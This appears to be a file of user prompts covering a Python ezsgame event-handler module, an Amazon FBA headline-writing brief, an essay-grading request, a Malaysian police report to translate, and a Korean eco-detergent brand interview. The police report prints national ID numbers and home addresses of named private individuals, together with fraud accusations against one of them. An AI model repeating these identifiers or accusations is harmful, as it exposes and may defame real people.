unicode=ev.unicode)\n\n # any event that matchess current window event\n else:\n callback()\n\n def add\\_event(event: str, object: Object, callback, name: str = "Default"):\n r\'\'\'\n #### Adds a event listener to a object\n - `event` : event to be added \n - Events : `click`, `hover`, `unhover`, `unclick`.\n - `name` : name of the event \n - `object` : object to be added to the event \n - `callback` : function to be called when the event is triggered\n \'\'\'\n \n event, event\\_type = EventHandler.\\_convert\\_to\\_pgevent(event)\n \n if name == "Default":\n name = f"{event}.{object.id}.{len(EventHandler.events)}.{len(EventHandler.to\\_add)}"\n \n EventHandler.to\\_add.append(\n Event(event\\_type, event, callback, object, name))\n\n def remove\\_event(name: str):\n f\'\'\'\n #### Removes an event from the event list so it won\'t be called anymore\n - `name` : name of the event to be removed \n \'\'\'\n EventHandler.to\\_remove.append(name)\n\n def is\\_hovering(object: Object) -> bool:\n r\'\'\'\n #### Checks if the mouse is hovering over the object\n - `object` : object to check if the mouse is hovering over it\n \'\'\'\n mouse\\_pos = pg.mouse.get\\_pos()\n box = object.\\_get\\_collision\\_box()\n\n if mouse\\_pos[0] > box[0][0] and mouse\\_pos[0] < box[1][0]:\n if mouse\\_pos[1] > box[0][1] and mouse\\_pos[1] < box[2][1]:\n return True\n\n return False\n\n def on\\_event(event: str, callback, name: str = "Default"):\n r\'\'\'\n #### Adds a `Base Event` to the event list, Calls function when event is triggered. \n - `event`: event to be added \n - Events : `quit`, `mousemotion`, `mousedown`, `mouseup`, `keydown`, `keyup`, `mousewheel`, `update`\n - `callback`: function to be called when the event is triggered ``function``\n - `name`: name of event (optional)\n \'\'\'\n \n name = f"base\\_event.{event}.{len(EventHandler.events)}" if name == "Default" else name\n\n # if is ezsgame event\n if event in EventHandler.\\_\\_ezsgame\\_events:\n EventHandler.to\\_add.append(\n Event("ezsgame", event, callback, None, name))\n return\n\n event, event\\_type = EventHandler.\\_convert\\_to\\_pgevent(event)\n\n EventHandler.to\\_add.append(\n Event(event\\_type, event, callback, None, name))\n\n def on\\_key(type: str, keys: list, callback, name: str = "Default"):\n r\'\'\'\n #### Calls function when key event is triggered.\n - `type`: type of `Event` to be added\n - Events : `down` (when key is down), `up` (when key released)\n - `keys`: keys to be added to the event \n - `callback`: function to be called when the event is triggered \n - `name`: name of event (optional)\n \'\'\'\n types = {\n "down": pg.KEYDOWN,\n "up": pg.KEYUP\n }\n\n event\\_type = types.get(type, None)\n\n if not event\\_type:\n raise ValueError("Invalid type: ", type)\n\n for key in keys:\n if key.lower() == "enter":\n key = "RETURN"\n\n elif len(key) > 1:\n key = key.upper()\n\n k = eval("pg.K\\_" + key)\n\n name = f"{key}\\_{type}\\_{len(EventHandler.events)}" if name == "Default" else name\n\n EventHandler.to\\_add.append(\n Event(event\\_type, k, callback, None, name, key=k))\n\n def custom\\_event(callback, object=None, name: str = "Default"):\n r\'\'\'\n #### Creates a custom event. \\*[Decorator]\\*\n - `callback` : function to be called with event parameters\n - `object` : object to check if is hovering, if you need `is\\_hovering` (Optional)\n - `name`: name of event (optional)\n \'\'\'\n\n name = f"custom\\_event.{name}.{len(EventHandler.events)}" if name == "Default" else name\n\n EventHandler.to\\_add.append(\n Event("custom", "custom", callback, object, name))\n\n def \\_convert\\_to\\_pgevent(event):\n if event in EventHandler.\\_\\_ezsgame\\_events:\n return event\n\n event = event.lower().replace(" ", "").replace("\\_", "")\n\n evs = {\n "hover": pg.MOUSEMOTION,\n "click": pg.MOUSEBUTTONDOWN,\n "rightclick": pg.MOUSEBUTTONDOWN,\n "leftclick": pg.MOUSEBUTTONDOWN,\n "mousedown": pg.MOUSEBUTTONDOWN,\n "mouseup": pg.MOUSEBUTTONUP,\n "unhover": pg.MOUSEMOTION,\n "unclick": pg.MOUSEBUTTONUP,\n "keydown": pg.KEYDOWN,\n "keyup": pg.KEYUP,\n "mousewheelmotion": pg.MOUSEWHEEL,\n "mousemotion": pg.MOUSEMOTION,\n "quit": pg.QUIT,\n "mousebuttondown": pg.MOUSEBUTTONDOWN,\n "mousebuttonup": pg.MOUSEBUTTONDOWN,\n "mousewheelup": pg.MOUSEBUTTONDOWN,\n "mousewheeldown": pg.MOUSEBUTTONDOWN\n }\n\n if event not in evs:\n raise Exception("Event type not found", event)\n \n return (event, evs[event])\n# event decorators ------------------------------------------------------------\ndef on\\_key(type: str, keys: list, name: str = "Default") -> Callable:\n r\'\'\'\n #### Calls the function when the key event is triggered\n - `type` : type of the event. `up` or `down`\n - Event types : `up` (when the key is released), `down` (when the key is pressed)\n - `keys` : key/keys to listen to\n - `name` : name of the event (Optional) \n \'\'\'\n if not isinstance(keys, list):\n keys = [keys]\n\n def wrapper(func):\n EventHandler.on\\_key(type, keys, func, name)\n return func\n\n return wrapper\n\ndef add\\_event(event: str, object: Object, name: str = "Default") -> Callable:\n r\'\'\'\n #### Adds an event listener to an object\n - `event` : event to listen to\n - `object` : object that will be "listening"\n - `name` : name of the event (Optional)\n \'\'\'\n\n def wrapper(func):\n EventHandler.add\\_event(event, object, func, name)\n return func\n\n return wrapper\n\ndef on\\_event(event: str, name: str = "Default") -> Callable:\n r\'\'\'\n #### Calls funcion when the event is triggered, (Base Event)\n - `event` : event to listen to\n - Events : `quit`, `mousemotion`, `mousedown`, `mouseup`, `keydown`, `keyup`, `mousewheel`\n - `name` : name of the event (Optional)\n \'\'\'\n\n if name == "Default":\n name = f"base\\_event.{event}.{len(EventHandler.events)}" if name == "Default" else name\n\n def wrapper(func):\n EventHandler.on\\_event(event, func, name)\n return func\n\n return wrapper\n\ndef custom\\_event(object=None, name: str = "Default") -> Callable:\n r\'\'\'\n #### Adds a function as custom event\n - `object` : object to check if is hovering, if you need `is\\_hovering` (Optional)\n - `name` : name of the event (Optional)\n \'\'\'\n def wrapper(func):\n EventHandler.custom\\_event(func, object, name)\n return func\n\n return wrapper\n\ndef remove\\_event(name: str):\n r\'\'\'\n #### Removes an event from the event handler\n - `name` : name of the event\n \'\'\'\n EventHandler.remove\\_event(name)' -'Based on all of the information above and the headline structure below, generate 20 headlines\nMake a Magnetic “Reason Why”\nWe start the name with a word or phrase that tells people the “reason why” we are running our promotion.\nI like to tell people to think like a fraternity party planner. When I was in college, we had a party once because a guy got his wisdom teeth removed. I say this to say. . .the “reason why” can literally be anything.\nIt really doesn\'t matter so long as you believe it. And you can even make a joke of it like the fraternity example. But this should answer one or both of the following questions: Why are they making this great offer? or Why should I respond to this offer?/What’s in it for me?\n\nExamples: Free, 88% off, Giveaway; 88% off, Spring, Summer, Back To School; Grand Opening; New Management; New Building; Anniversary; Halloween; New Year.\nNote: I will discuss how to monetize free and discounted offers in Volume III: Money Models.\nAnnounce Your Avatar\nThis component calls out your ideal avatar: who you are looking for and who you are not looking for as a client. You want\nto be as specific as possible, but no more. When in a local area, the more local you can make your headline, the more it will convert. So don\'t do a city, try and go to the sub market, or hyper local area. Not Baltimore but Towson, MD. Not Chicago, but Hinsdale, Etc.\nExamples: Bee Cave Dentists, Rolling Hills Moms, Brick & Mortar Businesses, Salon Owners, Retired Athletes, Brooklyn Busy Executives\n Give Them A Goal\nThis is where you articulate your prospect’s dream outcome. It can be a single word or a phrase. It can be an event, a feeling, an experience, or an outcome, anything that would excite them. The more specific and tangible, the better.\nExamples: Pain Free, Celebrity Smile, 1st Place, Never Out Of Breath, Perfect Product, Grand Slam Offer, Little Black Dress, Double Your Profit, First Client, High Ticket, 7 Figure, 100k, Etc.\nIndicate a Time Interval\nYou’re just letting people know the duration to expect here. This gives an example of how long your results will take to achieve.\nNote: If you’re making any sort of quantifiable claim (like income gain or weight loss) most platforms will not approve this type of messaging with a stated duration to achievement because it implies a guarantee. It implies they are going to get this outcome in a period of time, which goes against many platform rules. So dont give a quantifiable outcome with the duration unless your platform allows it. That being said, duration is a powerful component of a Grand Slam Offer and you should definitely use it anywhere you don\'t need to deal with compliance. Alternatively, if the goal you help them with is not a “claim” per se, then absolutely use a time interval. “$10,000 in 10 days” vs “Make Your First Sale in 10 Days.”\nExamples: AA Minutes, BB Hours, CC Days, DD Weeks, Z Months. “4 Hour” “21 Day” “6 Week” “3 Month”\nComplete With A Container Word\nThe container word denotes that this offer is a bundle of lots of things put together. It’s a system. It’s something that can’t be\nheld up to a commoditized alternative.\nExamples: Challenge, Blueprint, Bootcamp, Intensive, Incubator, Masterclass, Program, Detox, Experience, Summit,\nAccelerator, Fast Track, Shortcut, Sprint, Launch, Slingshot, Catapult, Explosion, System, Getaway, Meetup, Transformation, Mastermind, Launch, Game Plan, Deep Dive, Workshop, Comeback, Rebirth, Attack, Assault, Reset, Solution, Hack, Cheatcode, Liftoff, Etc.\nPro Tip: Find Time To Rhyme\nGood rhymes stick in people’s minds. Rhyme your program name to win the game.\nGoogle “rhyming dictionary” for an easy shortcut. Note - Don’t try and force it. It’s not a requirement, it’s just a “nice-to-have”.\nExamples: Six-Pack Fast Track, 5-Day Book Print Sprint, Marriage Thrive Deep Dive, 12-Week 2-Putt Shortcut, 12-Month No-Debt Reset, Celebrity Butt\nShortcut, Get Some Ass Masterclass (just thought it was funny), etc. You get the idea.\nPro Tip: Alliteration\nAlliteration is when you make all (or most) of the words start with the same letter or sound.\nAn alternative approach to rhyming is to use alliteration when naming your program. This is easier for most people than rhyming. Again, you do not need to rhyme or alliterate. Don’t force it.\nExamples:Make Money Masterclass, Change Your Life Challenge, Big Booty Bootcamp, Debt Detox, Real Estate Reset, Life Coach Liftoff, Etc.\nI might be weird, but naming offers is one of my favorite parts of this process. What I want to highlight, yet again, is that your actual money model, pricing, and services will remain largely unchanged. Changing the wrapper simply means changing the exterior perception of what your Grand Slam Offer is.\nBelow you’ll find a few examples of named offers for different industries.\nWe llne ss\nFree Six-Week Lean-By-Halloween Challenge\n88% Off 12-Week Bikini Blueprint\nFree 21-Day Mommy Makeover\n60-minute Make Your Friends Jealous Model Hair System Six-Week Stress-Release Challenge\n(Free!) Bend Over Pain Free in 42 Days . . . Healing Fast Track\n Examples:\nDoctors\n $2,000-Off Celebrity Smile Transformation\nLakeway Moms - $1,500 Off Your Kids Braces\nLakeway Moms - 12 Months To A Perfect Smile ($1000 off for 15 families) Back to School Free Braces Giveaway\nGrand Opening Free X-Ray & Treatment - Instant Relief\nBack Sore No More! 90 Day Rapid Healing Intensive (81% off!) Tightness? $1 Massage New Client Summer Special\nCoaching\n5 Clients in 5 Days Blueprint\n7F Agency 12 Week Intensive\n14 Day Find Your Perfect Product Launch Fill Your Gym in 30 Days (Free!)\nYou\'re selling a 12 month program:{include nickname from above} that teaches people how to start and grow an Amazon FBA business to 6-7 figures.\n\nSummary of Buyer Persona "Mike":\n\nDemographics:\n\nMike is a man in his 20s or 30s, sometimes with kids.\nHe is struggling financially or sees no good future in his 9-5 job.\nHe has found it difficult to quit the rat race and build his own business due to lack of initial capital.\nHe is interested in making money with a side hustle and building a 6-7 figure Amazon FBA business.\nPsychographics:\n\nMike is determined to make a better future for himself and his family.\nHe is tired of working long hours and not seeing the financial rewards.\nHe feels a sense of urgency to take action and make changes to his life.\nHe wants to prove to himself and others that he can succeed in business.\nHe is looking for a mentor or guide to help him succeed.\nMain Challenges:\n\nLack of initial capital to start a business like Amazon FBA.\nFear of failure and not being able to provide for his family.\nLack of knowledge and expertise in building an Amazon FBA business.\nDifficulty in finding the right product to sell on Amazon.\nTrying to scale to 7 figures with just one best-selling product.\nValues:\n\nMike values financial freedom and the ability to provide for his family.\nHe values independence and the ability to work for himself.\nHe values growth and learning, and wants to continually improve his skills.\nMotivations:\n\nMike is motivated by the desire to quit his 9-5 job and build a successful business.\nHe is motivated by the potential for financial success and freedom.\nHe is motivated by the desire to prove himself and his abilities to others.\nKey Emotional Drivers:\n\nFear of failure and not being able to provide for his family.\nFeeling stuck in his current situation and wanting to make a change.\nSense of urgency to take action and make changes to his life.\nPrevious attempts:\n\nTried various methods to start a business, but failed due to lack of knowledge, experience, and high competition.\nTried to scale his Amazon FBA business with just one best-selling product, which didn\'t work.\nFrustrations with previous attempts:\n\n"I was overwhelmed by the competition and couldn\'t find a way to stand out."\n"I didn\'t have the necessary knowledge and expertise to build a successful business."\n"I invested a lot of time and money into a product that didn\'t sell well."\nContrarian Explanations:\n\nSuccess in Amazon FBA doesn\'t come from finding one big product, but rather from implementing a 12-month phase plan.\nThe traditional methods for starting a business may not work for everyone, and it\'s important to find the right mentor or guide to help.\nLack of initial capital shouldn\'t be a barrier to starting a business, and there are ways to start with little to no money.\nFear of failure is a common emotional barrier, but failure is a necessary part of the learning process and can lead to eventual success.\nIt\'s not necessary to have all the knowledge and expertise from the beginning, but rather to be willing to learn and adapt.\nHaving multiple products and income streams is more important than relying on just one best-selling product.\nSuccess in business requires hard work and dedication, but also a willingness to take risks and try new things.' -'If you were an economics and political science professor at a university grading this essay question: "World bank has been dominated by rich countries. Inadequate reforms have limited its capacity to serve the developing countries. Agree or disagree." \n\nHow would you evaluate it? Provide a grade, and percentage out of 20 and comment on it, add feedback\n while marking the essays, grade using the criteria below:\n1. Does the essay address the issue, and with sufficient focus?\n2. Does the essay show a grasp of the relevant concepts, theories and knowledge?\n3. Does the essay demonstrate a logical and effective pattern of argument?\n4. ls the essay adequately presented in terms of: correct referencing and quoting; spelling, grammar and style; layout and visual presentation?\n\nThe World Bank is an international financial institution that provides loans and assistance to developing countries. Since its inception, the World Bank has been dominated by rich countries, which has led to concerns about its ability to effectively serve the needs of developing countries. This paper will evaluate whether inadequate reforms have limited the World Bank\'s capacity to serve the developing countries and conclude about whether inadequate reforms have limited the World Bank\'s ability to serve the developing countries.\nOne reason why I agree with the statement that inadequate reforms have limited the World Bank\'s ability to serve the developing countries is the fact that it is dominated by rich countries. The majority of the voting power at the World Bank is held by the United States, Japan, China, Germany, and other wealthy countries, which means that the decisions made by the institution are largely influenced by the interests of these countries (International Monetary Fund, 2018). This dominance by rich countries can create a bias towards projects and initiatives that benefit these countries, rather than those that benefit the developing countries (Badkar, 2015). This can ultimately limit the ability of the World Bank to effectively serve the needs of the developing countries, as the priorities of the institution may not align with the needs of these countries. Furthermore, the dominance of rich countries at the World Bank can also lead to a lack of representation and voice for the developing countries, which can further hinder the ability of the World Bank to effectively serve their needs. This supports our agreement with the thesis statement that inadequate reforms have limited the World Bank\'s ability to serve the developing countries.\nIn addition to the dominance of rich countries, the World Bank has also been criticized for its lack of transparency and accountability (Gupta & Sheng, 2018). The World Bank has been accused of not adequately consulting with the communities and governments of the countries where it operates, and of not being transparent about the allocation of its funds (Seneviratne, 2005). This lack of transparency and accountability can create a breeding ground for corruption and mismanagement of funds, which can ultimately hinder the ability of the World Bank to effectively serve the needs of developing countries. The lack of transparency and accountability at the World Bank can lead to the allocation of funds to projects and initiatives that do not align with the needs of the developing countries or that do not have the intended impact on development. This can result in a waste of resources and a lack of progress towards development goals. This lack of transparency and accountability, coupled with the dominance of rich countries, supports our agreement with the thesis statement that inadequate reforms have limited the World Bank\'s ability to serve the developing countries.\nWhile I agree with the concerns raised about the World Bank\'s dominance by rich countries and lack of transparency and accountability, it should also be recognized that the World Bank has made efforts to reform and improve its operations in recent years. For example, the World Bank has introduced a new set of standards for environmental and social safeguards, which aim to protect the rights of local communities and the environment in the countries where it operates (World Bank, n.d.). Additionally, the World Bank has also increased its focus on issues such as gender equality, climate change, and poverty reduction (World Bank, n.d.). These reforms suggest that the World Bank is taking steps to address the concerns about its ability to serve the developing countries. However, these reforms have been criticized for being inadequate and not addressing the root causes of the issues (Gupta & Sheng, 2018). For instance, the environmental and social safeguards introduced by the World Bank have been criticized for being weak and not adequately protecting the rights of local communities (World Bank, n.d.). Similarly, the World Bank\'s focus on issues such as gender equality and climate change has been seen as inadequate and not addressing the underlying systemic issues (World Bank, n.d.). This suggests that while the World Bank is making efforts to reform and improve its operations, but these efforts have been inadequate and have not addressed the root causes of the concerns about its ability to serve the developing countries. This supports our agreement with the thesis statement that inadequate reforms have limited the World Bank\'s ability to serve the developing countries.\n\nThere are efforts made by the World Bank to reform and improve its operations, but these efforts have been inadequate and have not addressed the root causes of the issues (Gupta & Sheng, 2018). The dominance of rich countries at the World Bank means that the institution is likely to prioritize the interests of these countries over those of the developing countries (Badkar, 2015). This can lead to a bias towards projects and initiatives that benefit the rich countries, rather than those that benefit the developing countries. This can also lead to erosion of trust and confidence in the institution (Seneviratne, 2005), which can further hinder its effectiveness in serving the needs of the developing countries. These factors, coupled with the inadequate reforms that have been implemented by the World Bank, support our agreement with the thesis statement that inadequate reforms have limited the World Bank\'s ability to serve the developing countries.\n\nIn addition to the aforementioned issues, the World Bank\'s focus on economic growth and development has been inadequate in addressing the needs of the developing countries (Gupta & Sheng, 2018). The World Bank\'s approach to development has been criticized for being overly focused on GDP growth and not addressing issues such as inequality, poverty, and environmental sustainability (Gupta & Sheng, 2018). This narrow focus on economic growth has led to a lack of attention to the social and environmental impacts of the World Bank\'s projects and initiatives, which can ultimately hinder the ability of the developing countries to achieve sustainable and inclusive development (Gupta & Sheng, 2018). For instance, the World Bank\'s focus on GDP growth can lead to the promotion of economic policies and initiatives that prioritize short-term growth over long-term sustainability (Seneviratne, 2005). This can result in environmental degradation, resource depletion, and other negative impacts on the developing countries (International Monetary Fund, 2018). Additionally, the World Bank\'s focus on GDP growth can also exacerbate inequality, as it can benefit the wealthy and powerful at the expense of the poor and marginalized (Badkar, 2015). This can further hinder the ability of the developing countries to achieve inclusive and equitable development. This supports our agreement with the thesis statement that inadequate reforms have limited the World Bank\'s ability to serve the developing countries.\nIn conclusion, while it is important to recognize the contributions that the World Bank has made to the development of the developing countries, I ultimately agree with the statement that inadequate reforms have limited its capacity to serve these countries. The dominance of rich countries and the lack of transparency and accountability at the World Bank, as well as its narrow focus on economic growth, have hindered its ability to effectively serve the needs of the developing countries. However, the recent reforms that the World Bank has implemented suggest that it is taking steps to address these concerns and improve its ability to serve the developing countries.\n\n\nWorks Cited\nBadkar, M. (2015). The World Bank is Dominated by the US and Europe, and that\'s a Problem. Business Insider. Retrieved from https://www.businessinsider.com/the-world-bank-is-dominated-by-the-us-and-europe-and-thats-a-problem-2015-3\nGupta, A., & Sheng, L. (2018). Inclusive Development and the World Bank: Assessing the Record. International Journal of Development Issues, 17(2), 139-158.\nInternational Monetary Fund. (2018). The World Bank: History, Role, and Functions. Retrieved from https://www.imf.org/external/pubs/ft/fandd/2018/06/world-bank-history-role-functions.htm\nSeneviratne, K. (2005). The World Bank and Developing Countries: From Conditionality to Capacity Building. Routledge. World Bank. (n.d.). About the World Bank. Retrieved from https://www.worldbank.org/en/about\nWorld Bank. (n.d.). Environmental and Social Framework. Retrieved from https://www.worldbank.org/en/topic/safeguards/brief/environmental-and-social-framework\nWorld Bank. (n.d.). Gender Equality and Women\'s Empowerment. Retrieved from https://www.worldbank.org/en/topic/gender/brief/gender-equality-and-womens-empowerment\nWorld Bank. (n.d.). About the World Bank. Retrieved from https://www.worldbank.org/en/about' -'I, Tan Chee Hui (NRIC No.:830518-14-6075), Director, Shareholder and CEO of Crave Asia Sdn Bhd (Company No.: 914475-H) (hereafter referred to as "Crave Asia"), make this police report against NG CHIAN WEN (NRIC No.: 861217-23-6415) with known addresses at 19, Jalan Sri Hartamas 4, Taman Sri Hartamas, 50480 Kuala Lumpur and at No. 172, Jalan Sutera, Taman Sentosa, 80150 Johor Bahru, Johor.\nI previously made two police reports against Ng Chian Wen.\nReport 1 (J/JAYA/008837/19), made on 18 September 2019 at Damansara Utama Police Station. \n• Forgery of cheques via forged signatures and bank in to himself.\n• Breach of trust by abusing his positions in Crave Asia Sdn Bhd\n• The issuance of 38 cheques and 1 online transaction with forged signatures - amounting to RM676,085.07 (previously in first police report as RM777,228.04 – we have verified with auditor to update-to-date as today) and 9 unauthorized transaction to third parties amounting of RM66,994.60 from Crave Asia Sdn Bhd\'s bank account to Ng Chian Wen\'s personal bank account/personal usage and/or unknown payees/recipients. \n• Total Damage is RM743,079.67\n\nReport 2 (DAMANSARA/007543/20), made on 28 June 2020 at Damasara Utama Police Station.\n• We found out unauthorized purchase of an apartment through forged signatures in Sales & Purchases (S&P) and related documents from his father-in-law, Fong Chin Tuck without any approvals, documents from the company and company secretary.\nOver the years, the company has suffered massive losses in financial and reputation. As per today on 24 March 2023, we have discovered new findings the full extent of Ng Chian Wen\'s dishonesty and the harm caused to Crave Asia. These include the following:\n1. After reviewing files with our Auditor, we discovered that Ng Chian Wen had hidden his fraudulent cheques by declaring them as project payments to a renovation company named BIG BRO DESIGN LANGKAWI PROJECT. However, he did not provide supporting receipts from the company. We attempted to contact BIG Bro DESIGN but were unable to do so as the company has closed and the person in charge is no longer contactable.\n2. Ng Chian Wen hid this information from Crave Asia\'s management, accountant, auditor, and subsequently submitted falsified documents to LHDN. This resulted in LHDN imposing fines on the company and auditing the entire company. The total fines imposed by LHDN amounted to RM554,562.06.\n3. As a result of the LHDN fines and blacklisting, Crave Asia suffered E-TRADE REFERENCE (ETR) degradation and was blacklisted from CTOS, which prevented the company from applying for loans, new applications, and even new phone lines from Maxis or Time Broadband.\n4. Our main supplier of EPSON also stopped any credit facilities to the company, which forced us to pay 100% upfront before taking any equipment from them. This has caused significant issues for the company and future projects.\n5. Our expansion plan to Singapore had to be cancelled, as the bank rejected our application due to Ng Chian Wen\'s fraudulent activities.\n\nCrimes committed by Ng Chian Wen in reports 1, 2, and 3 include: \n• Forgery of cheques and bank in to own account of amounting RM676,085.07.\n• Make unauthorized purchases and payments to third party or unknown companies amounting RM66,994.60.\n• Deceptive actions to LHDN, created a claims including massive claims and fines from LHDN of total RM554,562.06.\n• Unauthorized purchase of an apartment by tampering Sales & Purchases and relevant document.\n• Tampering with bank statements to hide his fraudulent and deceptive activities from Company Management, Company Accountant, Company Auditor, LHDN, Bank, Majlis Tanah and more.\n• Created massive damages and losses in reputation, financial, time and resources to the Crave Asia Sdn Bhd in past, present and future.\n\nWe request that police action be taken against Ng Chian Wen as soon as possible to ensure that justice is served and to prevent him from causing further harm to our company over the years.\nSigned,\nTan Chee Hui (NRIC No.:830518-14-6075)\nDirector, Shareholder and CEO of Crave Asia Sdn Bhd (Company No.: 914475-H)\n\nI, Tan Chee Hui (NRIC No.:830518-14-6075), Director, Shareholder and CEO of Crave Asia Sdn Bhd (Company No.: 914475-H) (hereafter referred to as "Crave Asia"), make this police report against NG CHIAN WEN (NRIC No.: 861217-23-6415) with known addresses at 19, Jalan Sri Hartamas 4, Taman Sri Hartamas, 50480 Kuala Lumpur and at No. 172, Jalan Sutera, Taman Sentosa, 80150 Johor Bahru, Johor.\nI previously made two police reports against Ng Chian Wen and would like to update with latest findings. \nReport 1 (J/JAYA/008837/19), made on 18 September 2019 at Damansara Utama Police Station about reported forgery of cheques via forged signature of me, breach of trust, and unauthorized transactions amounting to RM743,079.67.\nReport 2 (DAMANSARA/007543/20), made on 28 June 2020 at Damasara Utama Police Station about unauthorized purchase of an apartment belonging to his Father-in-Law, Fong Chin Tuck without any approvals, documents from the company and company secretary. Purchases made through forged signatures in Sales and Purchases Agreement, Company Approval Letters and others.\nAs per today on 24 March 2023, we have discovered new findings the full extent of Ng Chian Wen\'s dishonesty and the harm caused to Crave Asia on top of the massive losses in financial and reputation from the first 2 police reports. \n1. After reviewing files with our Auditor, we discovered that Ng Chian Wen had hidden his fraudulent cheques by declaring them as project payments to a various company including a company call BIG BRO DESIGN LANGKAWI PROJECT. However, he did not provide supporting receipts from the company. We attempted to contact BIG BRO DESIGN but were unable to do so as the company is not contactable anymore since 2020.\n\n2. Ng Chian Wen used this purchases as project fees and hide it from Crave Asia\'s management, accountant, auditor, and subsequently submitted falsified documents to LHDN. This resulted in LHDN found out and imposing fines on the company and auditing the entire company. The total claims and fines imposed by LHDN amounted to RM554,562.06.\n\n3. As a result of the LHDN fines and blacklisting, Crave Asia suffered E-TRADE REFERENCE (ETR) degradation and was blacklisted from CTOS, which prevented the company from applying for loans, new applications, and even new phone lines from Maxis or Time Broadband.\n\n4. Our main supplier of EPSON also stopped any credit facilities to the company, which forced us to pay 100% upfront before taking any equipment from them. This has caused significant issues for the company and future projects. Various projects has been cancelled due to the finding of Crave reputation from potential clients.\n5. Our expansion plan to Singapore had to be cancelled, as it rejected our application due to Ng Chian Wen\'s fraudulent activities.\n\nCrimes committed by Ng Chian Wen in reports 1, 2, and 3 include: \n• Forgery of cheques and bank in to own account of amounting RM676,085.07.\n• Make unauthorized purchases and payments to third party or unknown companies amounting RM66,994.60.\n• Deceptive actions to LHDN, created a claims including massive claims and fines from LHDN of total RM554,562.06.\n• Unauthorized purchase of an apartment by tampering Sales & Purchases and relevant document.\n• Tampering with bank statements to hide his fraudulent and deceptive activities from Company Management, Company Accountant, Company Auditor, LHDN, Bank, Majlis Tanah and more.\n• Created massive damages and losses in reputation, financial, time and resources to the Crave Asia Sdn Bhd in past, present and future.\n\nWe request that police action be taken against Ng Chian Wen as soon as possible to ensure that justice is served and to prevent him from causing further harm to our company over the years.\nSigned,\nTan Chee Hui (NRIC No.:830518-14-6075)\nDirector, Shareholder and CEO of Crave Asia Sdn Bhd (Company No.: 914475-H)\nplease write in bahasa malaysia' -'아래 내용은 친환경 세제 브랜드 \'이오니\' 인터뷰 내용이다. 아래 내용을 바탕으로 브랜드가 추구하는 가치를 강조하는 유튜브 스크립트를 작성해 주세요. 제목과 썸네일에 들어가는 문구가 포함되게, host에 대한 내용은 제거\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values and philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or investment attraction\nWe are continuously actively working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop-up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.\n번역결과\nThe following is an interview with eco-friendly detergent brand \'Ioni\'. Please use this information to create a plan for YouTube video production.\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without 